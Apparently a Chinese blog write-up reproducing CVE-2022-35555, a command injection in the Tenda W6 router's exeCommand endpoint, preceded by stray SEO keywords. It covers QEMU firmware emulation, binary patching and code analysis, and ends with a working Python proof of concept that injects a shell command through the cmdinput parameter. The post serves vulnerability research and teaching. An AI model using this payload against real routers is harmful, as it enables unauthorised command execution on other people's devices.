制作网站的列子,毕设网站,网页设计技能证书怎么考,宝安中心壹方城文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1#xff1a;代码分析  4.2#xff1a;流量分析 5.poc代码#xff1a; 1.漏洞描述 
漏洞编号#xff1a;CVE-2022-35555 
漏洞名称#xff1a;Tenda W6 命令注入 
威胁等级#xff1a;高危 
漏洞详情#xff1… 文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析    4.1代码分析     4.2流量分析 5.poc代码 1.漏洞描述 
漏洞编号CVE-2022-35555 
漏洞名称Tenda W6 命令注入 
威胁等级高危 
漏洞详情Tenda W6中/goform/exeCommand存在命令注入漏洞通过构造cmdinput参数可执行任意命令。 
影响范围V1.0.0.9(4122) 2.环境搭建 
qemu-user系统编译创建qemu目录下载qemu-2.5.0.tar.bz2: 
https://download.qemu.org/qemu-2.5.0.tar.bz2 
1.将下载后的qemu-2.5.0.tar.bz2解压。 
2.查找目录linux-user。 
3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加 ehdr-e_shentsize  sizeof(struct elf_shdr) 这个条件。 #配置qemu-user系统: 
$./configure --target-listmips-linux-user mipsel-linux-user arm-linux-user --static --python/usr/bin/python2.7 #编译qemu: 
$make -j8 
#安装qemu: 
$sudo make install 安装成功。 
3.漏洞复现 
在/home/CVE-2022-35555目录下用qemu-usr用户模式模拟把固件模拟运行起来。 
1.首先在CVE-2022-35555.py同级目录下binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。 2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令查看下设备的cpu 架构。 
命令file ./bin/httpd 可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。 
3.给httpd文件可执行权限命令chmod x tdhttpd 
4.复制squashfs-root目录下的webroot_ro文件到webroot中 命令 
rm -rf webroot  
ln -s webroot_ro/ webroot 
5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录重命名为qemu-mipsel-static。 注意如果安装过或有其它原因qemu-mipsel可能被重命名为qemu-usr-mipsel 
执行模拟命令sudo qemu-mipsel-static -L . ./bin/httpd 但是卡在这里了在IDA里面看一下httpd搜索 welcome发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”就能通过检查。 具体修改时先在 https://disasm.pro/ 上查一下汇编对应的十六进制 6.将path 后的httpd 替换原来的文件。 
重新给httpd文件可执行权限进入squashfs-root目录打开终端。 执行命令 sudo qemu-mipsel-static -L . ./bin/httpd 很长请忽略。 
直接看有用的部分 路由器运行在80端口。 
ifconfig 得到本机ip在浏览器中访问192.168.124.153:80 
用户名和密码都保持为空登录后获得如下界面 执行poc后可在临时文件中得到hack文件 
原 python a.py 4.漏洞分析 
4.1代码分析 
使用 binwalk -e 解包固件获得文件以备后续分析 
根据漏洞通告goform/exeCommand请求会触发漏洞查找可执行文件httpd。 
可知httpd位于 
_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd 
在ida中查找函数exeCommand v7 变量cmdinput 参数的值被复制到 s4 位置处vos_strcpy(s  4, v7);。 
然后该指针 s 与其他参数一起作为 tpi_get_ping_output() 函数的参数进行调用tpi_get_ping_output(s, v8, 4096)。 
并且cmdinput 参数取到的值没有经过任何检查就传到 tpi_get_ping_output 函数存在命令注入风险。 
使用 010editor 全文件夹搜索 tpi_get_ping_output找到该函数的具体实现在\squashfs-root\squashfs-root\lib\libtpi.so中。 
ida打开libtpi.so查找tpi_get_ping_output函数 tpi_get_ping_output 函数使用 popen() 函数将传递给它的命令字符串在一个 shell 中执行然后通过 fread() 函数读取 Ping 命令的输出即响应数据并将响应数据存储在指向 a2 参数的缓冲区中并返回命令输出结果。 
故我们可以构造 
http://ip router/goform/exeCommandcmdinputasd;ls -la .  注入命令来复现此漏洞 4.2流量分析  5.poc代码 
代码复现时环境ip为 192.168.241.131 
import requests
from pwn import *burp0_url  http://192.168.241.131/login/Auth
burp0_headers  {Host:192.168.241.131,
Content-Length:65,
Accept:*/*,
X-Requested-With:XMLHttpRequest,
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36,
Content-Type:application/x-www-form-urlencoded; charsetUTF-8,
Origin:http://192.168.241.131,
Referer:http://192.168.241.131/main.html,
Accept-Encoding:gzip, deflate,
Accept-Language:en-US,en;q0.9,
Cookie:user,
Connection:close}data0  usertypeadminpasswordtime2023;5;31;19;51;6username
requests.post(burp0_url,headersburp0_headers,datadata0, verifyFalse,timeout1)burp1_url  http://192.168.241.131/goform/exeCommand
burp1_headers  {Host:192.168.241.131,
Content-Length:295,
Accept:*/*,
X-Requested-With:XMLHttpRequest,
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36,
Content-Type:application/x-www-form-urlencoded; charsetUTF-8,
Origin:http://192.168.241.131,
Referer:http://192.168.241.131/main.html,
Accept-Encoding:gzip, deflate,
Accept-Language:en-US,en;q0.9,
Cookie:user,
Connection:close}data1cmdinputasd;ls -la .  ./tmp/hack;aaa*0x0requests.post(burp1_url,headersburp1_headers,datadata1, verifyFalse,timeout1) 
实现了两个HTTP POST请求第一个用来登录第二个用来执行漏洞利用。